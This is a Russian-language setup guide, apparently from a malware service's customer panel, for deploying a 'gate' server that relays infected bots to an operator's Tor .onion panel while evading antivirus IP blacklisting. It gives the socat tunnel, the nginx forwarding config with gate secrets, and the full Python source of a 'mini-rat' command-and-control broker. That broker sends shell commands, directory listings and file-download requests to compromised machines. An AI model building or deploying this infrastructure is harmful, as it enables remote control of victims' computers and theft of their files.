Anon | 00500

Имя пользователя: Anon

Статус: Активен

Регистрация jabber:

Поток: Anon

TG канал: Канал для опретивных оповещений



Закрыть

Назад

Гейт нужен для того, чтобы можно было привязать ботов к панели через свой сервер. Время использование одного сервера влияет на детекты. IP сервера, который активно используется, со временем попадает в блек-листы антивирусов. Для настройки подойдёт любой VPS на debian или ubuntu. При нагрузке меньше 500 ботов можно брать сервер с минимальной производительностью. Желательные характеристики - 1 ГБ оперативки(количество места на диске не важно)

 

Установка

TOR

Для начала надо попробовать установить его командой

apt-get -y install tor

Если не появится сообщение E: Unable to locate package tor или E: Package 'tor' has no installation candidate, то установка tor прошла успешно и можно переходить к следующему пункту. В случае появление ошибки apt-get: command not fond надо либо установить apt в систему, либо поменять дистрибутив. Обычно систему у VPS можно переустановить в его панели управления. Лучше всего подойдёт debian или ubuntu server.

Тем, у кого тор не поставился, надо отредактировать источники apt. Сделать это можно через консольный редактор nano. Зайдите на сайт torproject и из выпадающих меню выберите версию сервера(или наиболее близкую к ней). Затем скопируйте 2 строки под списками и на выполните на сервере команду

nano /etc/apt/sources.list

Перейдите в самый низ и с новой строки вставьте данные с сайта. После этого сохраните файл комбинацией Ctrl + O и зактойте редактор через Ctrl + X.

После этого надо добавить ключи для новых репозиториев командами

gpg --keyserver keys.gnupg.net --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89
gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | apt-key add -

И наконец установить необходимый пакет

apt-get update
apt-get -y install tor deb.torproject.org-keyring

socat

В некоторых дистрибутивах он предустановлен. Чтобы проверить, есть ли он, достаточно набрать в консоли socat, и если вернётся текст со словами exactly 2 addresses required, то этот пункт можно пропустить

apt-get -y install socat

 nginx

apt-get -y install nginx

screen

Он также часто уже есть. Чтобы проверить, достаточно набрать screen. Если не появится ошибки, то надо нажать enter и выполнить команду exit

apt-get -y install screen

 

Конфигурация

Туннель к панели

Это способ перенаправлять поступающие данные на .onion сервис. Для начала надо создать под него screen, чтобы он не занимал терминальную сессию. Для его создания надо выполнить команду

screen -S tunnel

В появившемся терминале надо выполнить команду

socat tcp4-LISTEN:6671,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:abc.onion:80,socksport=9050

После чего можно выйти нажав Ctrl + A затем Ctrl + D

Форвардинг

Открываем в редакторе файл конфига сервера командой

nano /etc/nginx/nginx.conf

Тут надо найти строку, которая начинается с http { и после неё вставить это

server{
        proxy_connect_timeout       300;
        proxy_send_timeout          300;
        proxy_read_timeout          300;
        send_timeout                300;

        listen 81;
        client_max_body_size 512M;

        location / {
                proxy_pass http://127.0.0.1:6671/raw_in/;
                proxy_set_header Host $host;
                proxy_set_header X-Real-IP $remote_addr;
                proxy_set_header X-Forwarded-For $remote_addr;

                # GATE SETTINGS
                proxy_set_header Gate-ID private_name;
                proxy_set_header Gate-Secret 12345678987654;
        }
}

12345678987654 в строке proxy_set_header Gate-Secret надо заменить на свой персональный ключ(если нет, обратитесь к поддержке). private_name надо заменить на случайное слово из цифр и букв в 6-12 символов длиной(например, HF87KbbeR9).

Используя Gate-ID можно управлять ботами через гейт. Знание Gate-Secret подтверждает право владение данными с ноды и его значения не должен никому разглашаться.

После всех изменений файл надо сохранить Ctrl + O, Enter и выйти Ctrl + X.

 

Модули

mini-rat

Для работы этого модуля требуется дополнительная настройка. Сначала надо убедиться, что в системе есть python 2. В консоли надо написать

python -V

Должно вернуть

Python 2.*.*

(последние 2 цифры могут быть любыми), то он уже установлен. Если первая цифра версии 3, попробуйте исполнить команду python2 -V. Если она вернёт правильный результат далее по инструкции пишите всегда её вместо просто python

Затем надо проверить, что в системе есть pip. Выполняем команду

pip -V

Должно вернуть что-то вроде

pip *.*.* from /usr/...

Если результат другой, ставим pip командой

apt-get install python-pip

— Устанавливаем git для загрузки стороннего модуля python

apt-get install -y git

Настройка зависимостей: ставим необходимый пакет в pip командой

pip install git+https://github.com/dpallot/simple-websocket-server.git

После всех настроек создаём скрипт, который будет принимать соединения mini-rat

touch ratserver.py
nano ratserver.py

Вставляем туда содержимое

from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket
import json
import sys

secret = sys.argv[2]

init_pool = []
auth_pool = []
admin_pool = []
pool = {}

class Broker (WebSocket):
        def admin_cmd(self, command, **kwargs):
                if(command == 'cmd'):
                        try:
                                pool[kwargs['target']].sendMessage('cmd,'+kwargs['data'])
                                return None
                        except KeyError:
                                pass
                elif command == 'list':
                        return "list,"+','.join(pool.keys())
                elif command == 'ping':
                        try:
                                pool[kwargs['target']].sendMessage("ping".decode())
                                print("Ping", kwargs['target'])
                        except KeyError:
                                pass
                        return None
                elif command == 'ls':
                        try:
                                pool[kwargs['target']].sendMessage("list,"+kwargs['path'])
                        except KeyError:
                                pass
                        return None
                elif command == 'download':
                        try:
                                pool[kwargs['target']].sendMessage("download,"+kwargs['path'])
                        except KeyError:
                                pass
                        return None

                return "unknown_command"

        def handleMessage(self):
                if self.admin:
                        data = json.loads(self.data)
                        result = self.admin_cmd(**data)
                        if result:
                                if sys.version_info >= (3, 0):
                                        self.sendMessage('0,'+result)
                                else:
                                        self.sendMessage('0,'+result.decode())
                        return
                if self in init_pool:
                        id = self.data
                        if id == 'auth_challange_loop':
                                # init_pool.remove(self)
                                auth_pool.append(self)
                                print("Entered auth challange mode")
                                return
                        if id == secret:
                                print("Admin access granted")
                                self.admin = True
                                admin_pool.append(self)
                                if self in auth_pool:
                                        self.sendMessage("0,auth,true".decode())
                                return
                        if self in auth_pool:
                                print("Auth failed")
                                self.sendMessage("0,auth,false".decode())
                                return
                        print("Assign ID", id)
                        pool[id] = self
                        self.ID = id
                        init_pool.remove(self)
                        for admin in admin_pool:
                                admin.sendMessage('0,connected,'+self.ID)
                else:
                        for admin in admin_pool:
                                admin.sendMessage(self.ID+','+self.data)

        def handleConnected(self):
                print(self.address, 'connected')
                self.admin = False
                self.ID = None
                init_pool.append(self)

        def handleClose(self):
                if self in auth_pool:
                        auth_pool.remove(self)
                if self in admin_pool:
                        admin_pool.remove(self)
                if self.ID in pool:
                        for admin in admin_pool:
                                admin.sendMessage('0,disconnected,'+self.ID)
                        del pool[self.ID]
                if self in init_pool:
                        init_pool.remove(self)
                print(self.address, 'disconnected')
                # admin_pool = {key:val for key, val in admin_pool.items() if val != self}
                # pool = {key:val for key, val in pool.items() if val != self}

server = SimpleWebSocketServer('', int(sys.argv[1]), Broker)
server.serveforever()

Сохраняем и выходим комбинациями CTRL+O, ENTER, CTRL+X

Сейчас и каждый раз после перезапуска сервера надо запускать скрипт в скрине. Для этого создаём скрин командой

screen -S ratserver

И выполняем там команду

python ratserver.py 1100 PASSWORD

Где password надо заменить на любой пароль. Он будет использоваться при входе в интерфейс mini-rat. После запуска команды выходим из скрина комбинацией Ctrl + D, Ctrl + A

Проверка

Для проверки работы заходим по адресу http://IP_SERVER:81/hello_test